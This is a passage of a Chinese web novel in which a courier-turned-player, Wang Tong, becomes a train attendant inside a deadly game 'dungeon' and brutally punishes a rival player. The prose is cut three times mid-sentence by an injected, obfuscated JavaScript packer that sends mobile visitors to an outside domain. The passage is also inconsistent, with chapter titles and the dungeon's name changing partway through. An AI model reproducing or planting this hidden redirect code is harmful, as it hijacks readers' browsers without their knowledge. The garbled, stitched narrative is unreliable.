远处泥呷市工业区的烟囱袅袅升起白色的烟雾，汪橦倚靠在露天站台的柱子上，手里提着小型行李袋，有一搭没一搭地打瞌睡。 她万万没想到自己不过是在三天前的傍晚，顺路看了一眼中州牛肉拉面餐厅的老板，结果导致如今被外派…… 老板误把汪橦的那句“别忘了点名表扬我”当作是在威胁他，于是在汪橦走后，他当即拨通了好特快泥呷市支公司的客服热线。 老板不仅大肆夸赞了一番好特快公司的员工是如何热情周到地进行□□，衣着整洁，工作出色。 他还在电话里着重点名了支公司的新晋优秀员工汪橦：她对客户的要求完成得一丝不苟，总是面带亲切的微笑。老板再三对接听电话的客服强调，一定要将这些话转告给汪橦。 在电话最后，他表示非一面超大的感谢锦旗不能表达他对好特快公司外卖员极高的专业素质和服务素养的感激之情。 巧了，这两天好特快泥呷市支公司刚刚被总部分配了一项重要任务——代表好特快公司派出外卖员送货上门，向梦魇小镇运输小镇居民集体采购的大批瓜果蔬菜、肉禽蛋奶。 好特快公司为了更好地发展自己近年来拓宽的跨市服务范围，提供餐饮供应进货的大、中订单，它在东中西部三大区都有专属的供货来源，甚至建立了专门的农业基地。 因此梦魇小镇受到严重的气象灾害后，当地居民便找到镇长，直接集体向好特快公司订货，由好特快公司派出员工送货。 身处东部地区强雨雪灾害发生的中心地区，梦魇小镇从上周起每日都会遭受大量冻雨雪，并全天持续该天气。目前梦魇小镇附近的积雪包围了所有进出小镇必经之路，对当地交通出行和民生都造成了巨大影响。 梦魇小镇虽属东部大区，实则地处中部、东部边界。它背靠东部山脉，通往小镇的道路几乎全部设在小镇正面——中部大区的位置。 在山上属于小镇背后的路只有一条，那路原本就崎岖难行，如今碰上雪天更是不可能通过。 因此当梦魇小镇的镇长找上好特快东部大区的几家支公司时，这几家好特快公司东部大区的支公司纷纷表示无法从背后上山给小镇输送食物。 梦魇小镇地理位置平日就不佳，使得小镇居民生活多靠自给自足，通往小镇正面的道路当初修得也马马虎虎。 如今梦魇小镇地处气象灾害中心，几条路全被大雪盖满，平均深度可达大半个人高。所以政府的交通部门正在全力清除正面大路上的冰雪，争取能让小镇居民进出。 综合种种因素考虑，梦魇小镇居民集体采购的货物运输一事就交给了距离梦魇小镇较近，且是中部大区支公司第一的泥呷市支公司来负责。 事是两天前的上午通知下来的，总监是下午要求各个队长在自己带的外卖员里挑出一两个表现不错的去送这趟。 电话是领队头天晚上听接线员提到有客户专门赞美汪橦后想到自己手下还有一名好员工，第二天一早打的。汪橦就这样在深度睡眠时被张队长的一通紧急电话通知到位。 汪橦其实有预感梦魇小镇会是她的下一个副本，她和待在集散地的正常玩家不一样。 身处集散地的正常玩家每次都能提前得到系统通知下一次副本几天后开始，甚至正常玩家可以向系统主动申请提前参加某次副本，玩家之间还可以组队…… 汪橦目前两次副本都是误打误撞，甚至都是在她上班时间参与的。汪橦有种被副本追着跑，拿着鞭子督促自己勤勤恳恳上班的错觉。 而这一次，领队在电话那头通知汪橦给梦魇小镇送货，货车都在草坪区公司的农业基地那里装车完毕，就等着准备好的外卖员发车了。 等到汪橦昨天收拾完自己，去往草坪区时，电话里领队提到的十几辆货车唯独只剩了一辆，其他车和驾驶它们的外卖员，汪橦一个也没碰见。 这么巧合？ 汪橦早在电话里委婉拒绝过领队，原因在于她不会开大车。她生前也就只考过C1驾驶证，只能开普通机动车的水平。 但是领队的意思是汪橦只要能想办法将东西送到梦魇小镇就行，至于车么，开不开无所谓。汪橦便明白了，这是系统又篡改了原住民的意识，帮她增加参与下一次副本的合理性。 三行道具栏此时派上了用场。汪橦盘点了一下车内物资，她负责的这辆车上装着用保鲜膜裹好的大头卷心菜装了四大筐，还有几箱能放很久的烟熏火腿，剩余的塞满大半个货车的全部是一箱箱方便面。 在紧急条件下方便面确实是合适救灾的物资。保存方便，不容易变质，作为即食食品，方便面既可以泡水也可以干吃，热量、盐分都有，既果腹又能满足大多数人的口味需要。 虽然方便面有不同口味，但是系统道具栏并没有将它们识别成不同的物品。因此一百多箱方便面也就占了汪橦两个物品格。加上卷心菜和火腿，汪橦将它们全部塞入四个物品格中，准备自己坐火车前往梦魇小镇送货。 越往东边走，天气越糟，极端的气候条件影响了铁路状况。因此，从泥呷站发车抵达梦魇小镇站需要花费四天的时间。 不过坐火车也比开大货车耗费的时间少，在这样的天气下，开大货车去到梦魇小镇起码在路上要花一周的时间。但是开车能直接开进小镇内部，而汪橦下了火车以后还要自己出站走上半天或者拦一辆巴士才能进入小镇。 “女士们，先生们，欢迎您乘坐本次列车。列车运行前方到站是，泥呷站。本次列车全列禁止吸烟，感谢您的配合。” 汪橦看着缓缓在自己面前停下的铁皮长蛇，张开它的嘴将吞进胃中的人们陆陆续续倒吐出来。她没有急着登上车，直等到最后一个身穿乘务员制服的工作人员下车后，她才与对方擦肩而过。 汪橦收到铁路局的列车运行时间延长至四天半的消息以后，将原本的坐票改成了卧票。她坐在下铺的床上发了会儿呆，又走到狭窄的过道上看向窗外。 刚刚和她擦肩而过的乘务员正在站台上吞云吐雾，两人隔着烟雾对上视线，那人冲汪橦笑了笑，继续将烟叼在嘴里，吐出一口烟圈。 泥呷站是一个大站，因此列车靠站时间比较久，停了将近二十分钟。汪橦坐的这一趟方向是去东边的，这个天气下，从泥呷站上车的人很少，汪橦所在的卧铺车厢人就更少了——只有她一个。 汪橦看了一眼时间，还差一分钟列车就要启动。列车即将发动的铃声响起—— 一眨眼的功夫，卧铺车厢狭窄的过道上突兀出现了三个人，三人分别出现在车厢前后门，将汪橦夹在中间。 列车铃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871712|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响过前十秒后由急转缓，开始放起优雅的古典乐。汪橦注意到站台上的乘务员手中夹着的香烟没有燃尽，对方似乎纠结着要再抽一口。 车厢门开始关闭，汪橦看见门边缘逐渐伸出一排细密尖利的锯齿。为了防止自己再次目睹轻轨吃人事件重演，汪橦用力扣窗三下。乘务员这才将烟往手边的垃圾桶一碾，朝车内跑来。 乘务员侥幸在车门绞碎她的前一秒成功挤进了车厢。她朝汪橦的卧铺车厢走来，路过汪橦时并未对她说什么，便拉开前门进入下一节车厢。 汪橦待对方离开后，坐回自己的下床，开始悄悄观察另外三人。 另外三人出现得猝不及防，但无论是三人还是已经猜到三人身份的汪橦都没有表露意外的神色。显而易见，他们是列车上的玩家，来这趟列车上参加副本。 汪橦购买的是纵向卧铺，一节车厢内也就8排，上下两层，共16张床铺。床铺的右侧是过道。汪橦的铺位在8号，刚巧处于过道中间的下铺。她坐在床边，只需要探头就可以看见仍然伫立在车头车尾仿佛对峙的三人。 那三人见汪橦从过道窗边走回床上，不由得多看了她几眼，似乎是觉得她很没有防备心。三人分别由两男一女构成。两男的同时出现在车厢前门，看上去好像相互认识对方。独自出现在车厢后门的女生则面露警惕。 原本三人中间夹着一个汪橦，汪橦一动，宛如蜻蜓点水般使得车厢内本如死水僵持的形势发生微妙的变化。 车厢前门的两男中那个更加高大，肌肉壮实的寸头男拿着手里的车票朝13号床走去，他需要经过汪橦所在的8号床，他的床位离后门更近。 另一位稍显瘦弱，其实也属于正常男人身材的戴着一副眼镜的男子见状也开始走动，他就在前门旁边的3号床。 后门旁的那位女生，一直保持不动，直到两男分别在床上坐的坐、躺的躺，她才跑向汪橦身旁的9号床。原来她们挨得如此近。 列车铃响的一瞬，每个车厢肯定都出现了不同的人，汪橦所在的车厢不可能是例外。因为她听见了相隔零点几秒不断有东西坠空落地的重声，那必是各个车厢内出现的玩家。 但玩家们似乎不约而同地保持安静，汪橦听不到一丝人声。整条列车此刻沉浸在异样中，这种氛围绝不是简单的古怪。大家似乎都在等待什么。 汪橦也在等待，她在等系统发布的副本信息。列车除了启动时车轮与铁轨发出挤压的摇晃声外，之后一直平稳运行，没有声响。 汪橦在沉默里左等右等系统的副本信息都不来，正当她开始怀疑这次的负面影响不会又让她看不见也听不见系统提示时—— “呲拉。”前车门被人拉开。汪橦伸头看见是刚刚和她两次擦肩而过的乘务员。 这名身着紫红色制服的乘务员也看见了汪橦，直奔她面前。乘务员拉起汪橦放在腿上的手，汪橦顺势起身。对方靠近她说：“跟我去一趟02车厢，列车长有事要找你。” 由于乘务员声量压得极低，汪橦余光注意到哪怕是离自己最近的9号床的女生也面露失望，显然女生并没能听见乘务员在说什么。 汪橦没忍住用手指向自己：“我？你确定没找错人？”乘务员点头，示意汪橦跟她走，她带汪橦去动车工作人员所休息的车厢见列车长。 21. 食人列车（1） 安德鲁诸多复杂的心理活动，在汪橦看来也不过是对方盯着自己端详了几秒，随即解释： “咱们列车的乘务员原本有两位，有一名乘务员昨天突发情况请假回家。现在向玩家征集是否有自愿担任乘务员的，在那之前妮雅就向我推荐了你。” 汪橦一愣，和身旁的穿紫红色制服的乘务员妮雅四目相对。后者一改之前的无视，冲汪橦俏皮地眨眼，似乎在说：因为我很中意你呀。 汪橦笑笑，转而反问列车长：“玩家担任乘务员，不会影响副本吗？”汪橦不知道的是，列车副本上的乘务员是多少正常玩家梦寐以求想要的职务。 游戏里的副本分初级、低级、中级、高级。每次副本等级系统并不会披露，这些等级区分是玩家们一代代总结的经验。 初级副本只有一次，也就是玩家第一次参与的副本，难度随机。初级副本不意味着副本简单，事实上，百分之五十的玩家进入游戏后会折损在第一次副本里。因此集散地玩家总数很少。 低级副本里的NPC没有自主意识，这些NPC是由游戏在大世界里挑选的原住民直接扭曲了意识作为NPC。所以低级副本里有自主意识的NPC一般会是副本Boss。 到了中、高级副本，则会有自主意识的NPC比例增大，并且这些NPC被损耗后不会像低级副本里的NPC反复利用，而是找新人替代。因此这些NPC担任的职务有时会向玩家开放。 玩家如果能在副本里成为NPC，协助副本进行，副本结束后玩家同样会被系统认定完成一次副本。同时，还有部分玩家会选择永久成为副本里的NPC，尤其是对那些自知通关无望，不想死在游戏里的弱势玩家而言。 因此尽管汪橦的问题同义转换过来是最简单的“啊，我是玩家，真的可以当NPC吗？”，它却被以为汪橦是总设计师大人化身的安德鲁自动扭曲成—— 总设计师大人是在敲打他，哪怕玩家成为列车副本里的NPC，也不允许他们向其余留在列车里的玩家提供副本通关帮助。 “当然不会。我们列车组所有工作人员都谨遵工作守则，绝不偏袒任何人。” 两个人虽然思维不在一个频道上，却互相认可了对方并一致通过汪橦成为本次列车运行时的代班乘务员的决定。 之后妮雅被自我介绍叫安德鲁的列车长单独留下，汪橦则去二号车厢，拿到了属于自己的临时乘务员胸牌。她将胸牌别在衣服左襟，衣服从上至下幻化成了同款紫红色的乘务员工作服。 别上胸牌的瞬间，汪橦脑海中响起系统的提示音： 【恭喜玩家汪橦解锁特别体验——以NPC身份参与玩家副本，副本结束后可算作玩家汪橦的第二次支线副本内容完成。】 【支线任务：2/12（进行中） 副本名称：雪地列车行 类型：生存类 副本描述： 冬季，可以在这感受零下的温度，雪海的浪漫。乘坐移动的“五星级酒店”列车，寻找那些只属于这里的浪漫与宁静….. 本趟列车属于旅游专列，全列编组15节，包括高级软卧、餐厅、酒吧、茶室、会议室、特色产品展厅、图书室等功能车厢和1节发电车。还邀请了乐团现场演奏。 任务要求：玩家在本趟列车上成功存活一个月，即视为本次副本通过。 注意：本次副本内外时间不同步，副本内一个月相当于副本外一周。列车内所观景色不一定真实，中途列车停靠时，希望各位玩家不要冲动下车。】 【另外，玩家汪橦身为NPC，只需要在一个月内完成列车长交代的乘务员工作就好。一个月后自动通过本次副本。祝玩家汪橦玩得愉快～】 与此同时，每节车厢的壁挂电视机亮起，开始配合着广播中妮雅的声音循环播放动车组工作人员全身照和列车旅游宣传视频： “各位玩家，上午好！欢迎加入本次的雪地列车行！列车长安德鲁，乘务员妮雅、汪橦，安全员司寇，司机詹姆森，机械师玛莲娜将在本次旅途中为各位服务！” “本次列车将行驶一个月，这一个月内我们全动车组工作人员会恪守职责，带各位玩家穿梭林海雪原，领略北境风光。下面播报本次列车运行时乘客需遵守的规则： 1.不得攻击动车组工作人员。 2.每日必须消费。 3.晚上十点全列停电。停电后，乘务员会全列检查，希望各位乖乖待在床上，不要随意走动。 4.餐车每晚八点后改为酒吧，欢迎各位玩家前去消费。” 边听广播汪橦边拉开车厢门想要回到她原本的车厢将自己的那个手提行李袋拿回。她回头看了一眼电视，屏幕上正好放出汪橦身着紫红色制服，盘起头发，露出亲切笑意的照片。 现在汪橦的脑中不自觉地涌出许多有关乘务员权限的知识。比如当乘务员打开车厢门时，她可以随意去往任何一个她想要进入的车厢。 当汪橦穿过车厢门的刹那，她发现自己原先所在的车厢已经大变样。原来普通的纵向卧铺没有门，如今列车内部的空间似乎加长加宽数倍，每张床被单独拆出来变成了一厅一卫有门的独立空间。 过道不再狭窄，原本粘糊糊的仿佛倒油后没被擦干净的绿色地板消失不见，取而代之的是深红色天鹅绒地毯铺成的柔软地面。车厢内弥漫着淡而好闻的白茶香。窗户更大，玻璃干净得好似不存在。 汪橦意识到“雪地列车行”是一个不受外界影响的长期的封闭式副本。这辆列车会随着广播响起正式宣告副本开始而内部发生变化。 窗外的景色从远处泥呷市工业区灰色的烟囱、大片绿色的空地变为覆盖着碎冰的褐色河床与白顶的山峦。 一丝寒冷沁上汪橦心头。 等她拉开原本车厢内8号床现在的房门，汪橦心中蹿上一股火气，身上的温度似乎也被这股火气催动热了起来。她放在床上的手提行李袋被人拉开一道大大的口子，就那样随意地敞在地上，裂开嘴嘲笑汪橦。 汪橦坐上火车前没有想到自己会又一次进入副本，因而为了不让周围普通的原住民发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890605|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现自己能够“隔空取物”，她带上一个行李袋装作自己取东西都是从口袋里拿的。 虽然口袋里什么也没有，但是这种举动无疑是对汪橦的挑衅。 汪橦没有选择站在走廊中大声问是谁干的，相反，她走到9号床的门前轻轻敲了敲门。按照正常人规避瓜田李下的逻辑，9号床的女生是最不可能动汪橦东西的人。所以汪橦选择询问她来找到那个不安分的人。 9号床的女生打开门表情平静，似乎预料到了汪橦去而复返还会找上她这件事。她邀请汪橦进门谈。汪橦没有着急进，而是用眼光扫视了一圈屋内，得到肉眼看不出陷阱的结论。 9号床女生见汪橦如此谨慎不由得浅笑：“你是乘务员。”是的，副本已经开始，列车上所有玩家不得攻击乘务员。但是，假如玩家没有主动攻击，而是设置陷阱诱使乘务员触发呢？ 汪橦点头回道：“我只是小心惯了。”说完迈步进入9号床女生身后，坐在宽大的宫廷式沙发上。 9号床女生用桌上的茶壶给汪橦倒了一杯热茶。汪橦眼见面前的红茶不由得有些吃惊，这才副本开始几分钟，连茶都喝上了？这玩家真会享受。 9号床女生端起茶杯先喝了一口后道：“你的行李是3号床戴眼镜那家伙干的。” 汪橦微微诧异，见对方已喝了茶，自己便同样饮了一口。9号床女生继续说： “没想到吧？我也没想到。原本以为13号床的猛男会是干出这种事的人……可见刻板印象不靠谱。3号床那家伙见你袋子里什么都没有，就随便骂了两句回去了。” 女生又用一种轻快的语气问汪橦：“说说呗，你是怎么成了乘务员的？” 汪橦反问：“你没发现我和另外那位乘务员一开始就认识？”汪橦并不打算说实话自己是代替缺席的那位乘务员并且得到了妮雅的推荐上岗成功。 实际上，她打算误导对方认为自己一开始就是乘务员。否则一旦玩家们知晓汪橦副本开始前是玩家的一员，杀掉她后，副本内会空出一个乘务员岗位，玩家们难免不会动心想取代汪橦。三十天的副本里，成为NPC打工轻松过关，可比辛辛苦苦求生的玩家吸引力强多了。 对方露出怀疑的神色：“那你为什么要把行李袋放在这节车厢？乘务员应该有自己的休息车厢吧。” 汪橦笑而不语，对方那股怀疑的劲随着汪橦坚定坐实谜语人的动作慢慢散去，她喝了一口茶，提醒了一句不明不白的话：“你可能被盯上了。3号床现在可不在这节车厢里。”接着她耿直地请汪橦出去。 不管3号床的眼镜男现在是不是出去打听又或是传播关于汪橦跟随乘务员出去一趟就成为乘务员的事，汪橦都不打算现在就找3号床家伙的麻烦。 列车禁止玩家攻击NPC，同时作为乘务员，汪橦拥有随意处置玩家的权力。 因此汪橦既无在这个小小车厢树立权威的必要，也无马上找到后处置眼镜男的迫切动机。尽管麻烦一定要找回去，但是汪橦有预感或许不等她出手，对方就会迫不及待撞进自己的手里。 22. 食人列车（2） 深夜九点五十九分第四十五秒，一阵优雅的古典乐响起，十五秒后，全列停止供电。 “啪”。乘务员车厢内的顶灯熄灭的瞬间，汪橦和妮雅齐齐起身，一人推着一辆列车上常见的售货车朝乘客们所在的车厢里走去。售货车前方挂着一个晃动的随时可摘可挂的小灯。 “啤酒饮料矿泉水，花生瓜子八宝粥。有人需要吗？”汪橦轻声念着生前无比熟悉的台词，一边推车前进在各个车厢内。妮雅和她一前一后推开两端的车门，此时早已不知妮雅去哪里了。 晚间乘务员要检查玩家们有没有好好待在床上，汪橦以为会是像生前高中宿管查寝那样的模式，没想到在副本里作为NPC的乘务员必须以贩售零食的形式进行检查。虽然汪橦根本不明白在这趟豪华旅游专列里随处可见的售货车有什么存在的必要。 今晚是“雪地列车行”副本的第一夜。 车厢内唯有汪橦身前的一盏光亮晃晃悠悠，售货车的车轮轧在地毯上，被柔软厚实的天鹅绒吞进去，偶尔泄出一两声吱呀吱呀。 汪橦独自从倒数第二节车厢开始按照从后往前的次序推开每一扇软卧的房门，取下小灯，低头伸至玩家的脸颊正上方，查看玩家是否安心躺在他们的床上。 啧，这个16号床的家伙，一看就是没想到乘务员会从最后一节软卧车厢（注：第15节车厢是发电车，第十四节车厢往前才是软卧车厢）开始检查，还未做好准备就被自己推开了房门。看他眼睫毛抖得能当筛子使…… 汪橦默默用小灯在16号床的男生脸上挥舞了一番，带上房门退回走廊。汪橦暂时没有吓唬玩家的恶趣味。听妮雅说她最喜欢在晚上查房的时候一动不动盯着闭眼假寐的玩家。 某些心理素质不好的玩家，感受到逡巡在自己脸庞上、身上的视线久久不去，呼吸声变重得那么明显，还要死死维持住姿势，保持镇静。那副模样十分取悦妮雅。 其实广播那句“晚上十点全列停电。停电后，乘务员会全列检查，希望各位乖乖待在床上，不要随意走动。”背后的含义非常模糊。但是第一天八成的玩家们哪怕知道这句话背后有许多操作的空间，谨慎起见，都没有动作。 不像汪橦原本所在的车厢只有三人，后面两节车厢都是满员的。汪橦推着小车，一间间查过去，直到进入自己原本的车厢。 汪橦晚间饭点时将胸牌摘了，从道具栏里掏出她提前装进去的换洗衣物穿上，还戴着棒球帽遮了半张脸扮作普通玩家的样子去餐车。她在餐车一直待到晚上九点四十才回到乘务员车厢。为的就是听来往餐车的玩家间的对话，打听有没有关于眼镜男散播自己传言的消息。 这么蹲守还真被她蹲到了——短短一个下午，眼镜男就将有一个玩家成为了乘务员，杀了她就可以取而代之的消息传遍全车厢所有玩家耳里。第一天无事发生，玩家们没什么可聊的，干脆就这件事好好通了消息。 现在才副本第一天，若是越往后，副本开始发力，难保越来越多的玩家为了自保对汪橦起心思。如果单打独斗，即便规则允许玩家攻击乘务员，汪橦也不怵。但如果玩家们联合起来对汪橦下手…… 想到这里，汪橦心中对眼镜男的怒火愈盛。今晚她和妮雅分开，也是为了方便她对眼镜男下手。 车轮重重碾过两节车厢连接处的铁坎，汪橦拉开后车厢门，踏步走向13号床高大猛男所在的房间。根据乘务员守则，汪橦此刻无论多么想对眼镜男出手，她都要先完成自己的分内工作。 13号床的猛男似乎真的睡熟了，任汪橦拿着小灯在他脸上方一厘米处晃来晃去，他都没有睁眼，只是不耐烦地挥胳膊想要撇开扰人清梦的光线，翻身朝墙壁继续睡，末了还有轻微的呼噜声。 9号床的女生则用被子蒙住脑袋，汪橦从前面看去，她整张脸被埋在枕头里。如果此时站在这里的是妮雅，她会掀开被子，摇晃9号床女生，看对方醒不醒。 但现在是汪橦站在这里。汪橦仅仅只是走出门，选择去下一间房。汪橦放在小推车里的登记册，今晚还没有记载任何一个床位号、车厢号，或许今晚记载的第一个便是眼镜男所在的软卧房间。 汪橦走过4号床的房门，正要跨过3、4房间不明显的交界时，汪橦停住脚步。她侧耳细听，黑暗中的左前方隔着一堵墙背后，有一道时而重时而轻的呼吸声。 不住呼吸的人原本将呼吸节奏遏制得很好，但汪橦突然静止不动似乎引起他的焦虑，他的呼吸略显急促。 这道本不应该被任何人听见的呼吸声此时在汪橦的耳边如同蓦然放大的音响，使她甚至可以描摹出眼镜男的具体位置，想象出眼镜男的神情。 眼镜男应该是躺在床上的，哪怕在想找汪橦的麻烦，他也知道服从列车广播里的指令。 汪橦生前有严重的植物性神经紊乱，她考研失败的原因有部分也是因为这个。她经常在凌晨因为隔壁宿舍和她隔着一堵墙的上铺女生的呼吸声而惊醒，此后一直失眠到太阳升起时。她的听力、嗅觉时不时会敏锐到让人不适的程度。 穿进游戏后，汪橦的植物性神经紊乱所造成的躯体化症状倒是再未发作过，可感官敏锐的特性仍然保留在她体内。汪橦由谨慎时不时滑向多疑的性格特质也是在确诊植物性神经紊乱前反复发作的疑病症下激发的。 现在汪橦很感激她有时过于谨慎的性格和敏锐的感官，进入游戏后这无形中带给她很多优势，让她哪怕没有集散地玩家所拥有的天赋、技能和道具，也可以凭自身的水平逃离危险。 比如现在，不等汪橦找上门，危险主动找到了她。若是眼镜男此刻拉开房门，就能看见黑暗中汪橦嘲讽的笑容那般明显。 “本次列车运行时乘客需遵守的规则：不得攻击动车组工作人员。” 玩家直接攻击乘务员会被系统判定为违规，直接抹杀。乘务员可以随意处置玩家，前提是不踩中玩家故意设置的陷阱，例如部分玩家身上配有的“被动触发型道具”。 那么，眼镜男给自己设的陷阱会在哪里呢？ 五秒后。 响彻云霄的爆炸声平地而起。 几乎整辆列车都在这爆炸声停滞了一瞬，庞大绵长的身躯狠狠摇晃了一秒又继续沿原定不变的轨道前行。 惊天动地的闪光明亮得不可思议，比永恒的白昼下的阳光还要刺眼。那是汪橦这辈子都没见过的耀眼强光。 她方才将一个从沙咔拉搜集的照明弹扔向前方列车的地面上，用钩爪射钉枪把自己及时带离照明弹炸响的中心地带，捂住眼等照明弹最猛烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895083|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一波闪光过去。 汪橦站在车厢后端，凝重地望向前方。 她在等，等眼镜男的陷阱。 尽管列车因为是游戏出品，除了令人心惊的震动外，无论是地面或是天花板没有留下任何痕迹，但列车内房间门上眼镜男留下的道具却因为这股震动骨碌碌掉下来。 汪橦朝那个从门把手背后掉落的东西发射了一枪，升级以后射钉枪的钩爪不仅能某种意义上带汪橦“飞檐走壁”还可以将汪橦不方便亲手拿的东西快速取回。 汪橦就着手上射钉枪口处的钩爪抓住道具，用系统查看： 【检测到玩家汪橦持有道具。】 【名称：千机丝 外观：一根细如蛛丝，长达3米的线，肉眼几乎难以看清。丝线一头有可粘黏物品的圆顶状软钉。 特性：强度可媲美钢铁，同时具有极高的弹性和轻盈性。 用途：1.修复；2.支撑；3.切割 注意：道具长短可根据玩家需要自行调节。】 【注意：玩家汪橦不得将该道具带出副本外的大世界，仅可在此次副本中使用该道具。】 汪橦心中了然：她在大世界自然不能把这个道具带进去，否则岂不是杀人于无形？不过她能在本次副本里使用给她多了一层自保之力。看来日后的副本里，或许她可以借用别的玩家的道具替自己通关。 汪橦没再走回3号床的房门前，而是选择用射钉枪的钩索直接带自己跃至房门口。立在门口，汪橦屏住呼吸，静静地在黑暗中倾听。 屋内传来的呼吸声频率急促，不知为何汪橦似乎感受到了眼镜男的冷汗滴落床沿。她没有急着自己用手打开房门，而是用千机丝一头栓在门把手上，将软钉那头则粘在售货车的推柄上。 汪橦握住售货车推柄往列车走廊窗户的方向一拉，千机丝牵引着房门随之猛然打开。在照明弹的余波中，汪橦清楚看见眼镜男霍然起身，坐在床上惊恐地看向自己。 汪橦不等眼镜男逃窜，顺势反方向一推售货车，售货车冲进了3号床的屋内，将正要起身逃跑的眼镜男撞倒在地。汪橦的本意是为了防止眼镜男在屋内地面上也设的有陷阱，将眼镜男直接撞倒更是意外之喜。 当汪橦接触到没能好好待在床上的眼镜男时，眼镜男的下场便不再掌握在他自己手中了。汪橦用射钉枪的钩爪抓入他的肩胛骨，拖着他从车厢前门进入02号乘务员车厢，找到了广播处。 列车广播平时所用的一直是应急电路，列车全车断电只是断的常规电路，并不影响广播的使用。汪橦扭转广播旋钮，将眼镜男的头按在操作盘上。 她看了一眼操作盘上方红色的时间显示：现在是深夜十一点。这个时候，机械师玛莲娜和安全员司寇应该正在第十六节的发电车厢检修，列车长安德鲁和司机詹姆森不重要，妮雅还在前半段车厢内检查玩家的情况。 很好，汪橦默认大家都还没睡。 “喂——” 深夜一个突兀的女声响遍列车。所有醒着的玩家默默躺在床上保持闭上眼睛的姿势，全神贯注地听着广播里的女声接下去要讲什么。 可是很快，那些真熟睡的玩家也苏醒过来。因为广播里传出的是一阵阵男人的惨叫声混杂着间隙虚弱的求饶。 23. 北极星号（3） 清晨的“北极星号”列车上，阳光透过车窗洒在餐车的长桌上，为车厢内增添了一丝温暖和生机。 餐车内的气氛与往常有所不同，玩家们大多还沉浸在昨夜的惊恐之中，不敢轻易离开自己的车厢。只有少数几个玩家在餐车内低声交谈，眼神中带着一丝警惕。 汪橦是最早来到餐车的人之一。她坐在靠窗的位置，面前摆着一份精致的早餐：煎蛋、培根、烤面包和一杯热气腾腾的咖啡。 她看起来平静而从容，仿佛昨夜的血腥事件从未发生过。她慢慢地吃着早餐，偶尔抬头望向窗外，眼神中带着一丝深邃。 就在这时，餐车的门被轻轻推开，机械师玛莲娜走了进来。她的脚步声在安静的餐车内显得格外清晰。玛莲娜穿着一件深蓝色的工作服，一头金色波浪长发随意地扎成马尾，眼神中带着一丝严肃和警惕。她环顾四周，最终将目光锁定在汪橦身上。 玛莲娜径直走到汪橦对面的位置，坐下后，她没有说话，只是冷冷地盯着汪橦。餐车内的气氛瞬间变得紧张起来，周围的人不自觉地放低了声音，甚至有人偷偷离开了座位。 汪橦抬起头，与玛莲娜的目光对视。她的眼神中没有一丝慌乱，反而带着一丝冷冽的笑意。她放下手中的刀叉，轻轻擦拭了一下嘴唇，然后抬起头，平静地说道：“玛莲娜，有什么事吗？” 玛莲娜没有立刻回答，她的眼神中带着一丝警告和不满。她低声说道：“汪橦，我知道你很厉害，但你别忘了，这里是’北极星号’，不是你可以为所欲为的地方。” 汪橦微微一笑，面容没有丝毫不悦：“玛莲娜，我当然知道这里是’北极星号’。但我也没打算为所欲为，我只是在按照规则行事。” 玛莲娜的脸色微沉，她继续说道：“规则同时制约我们和玩家双方。你昨夜的行为已经超出了规则的范畴。” 汪橦垂下眼睛，低声说道：“规则？规则是谁杀了我，谁就可以取代我成为新的乘务员，安然无恙地度过这三十天。玩家们为了自己的利益，不惜牺牲别人。我只是保护自己，杀鸡儆猴，给了他们一个教训。” 玛莲娜摇了摇头，低声说：“你这样做只会让局势更加混乱。我们都是列车的工作人员，我们的职责是维护列车整体的秩序，而不是制造恐慌。” 汪橦继续说道：“我只不过是提前清理了一个不安分的家伙，顺带吓退其他抱有多余心思的人。” 玛莲娜神情严肃地警告道：“汪橦，我知道你的处境，但你绝对不能虐/杀/玩家。’极地旅游团’不是一个简单的副本。如果你让玩家们过早对列车上的NPC产生恐慌心理，后期副本里的所有人包括我们NPC，都会陷入巨大的麻烦。” 玛莲娜紧紧盯着汪橦，眼神中带着一丝坚定：“汪橦，我希望你能明白，不要让个人影响了整个列车的安危。” 汪橦不置可否地点了头。 餐车内的气氛变得沉重而压抑，阳光透过车窗洒在长桌上，却无法驱散这股压抑的氛围。 窗外的景色依然是那片无垠的极地雪原，白色的雪地在阳光的照耀下闪闪发光，远处的冰山高耸入云，显得格外神秘。列车依然沿着轨道平稳地前行，但车厢内的气氛却如同凝固的冰块，让人感到窒息。 待到日上三竿时，列车上各个车厢的玩家们渐渐多了起来。他们在车厢内交头接耳，讨论着昨夜发生的事情。当汪橦缓缓走过时，车厢内瞬间安静了下来。 玩家们的目光纷纷投向汪橦，眼神中带着恐惧、敬畏，甚至还有些人夹杂着一丝幸灾乐祸。她那冷酷无情的手段已经深深印在了每个人的脑海中，没有人再敢小瞧她。 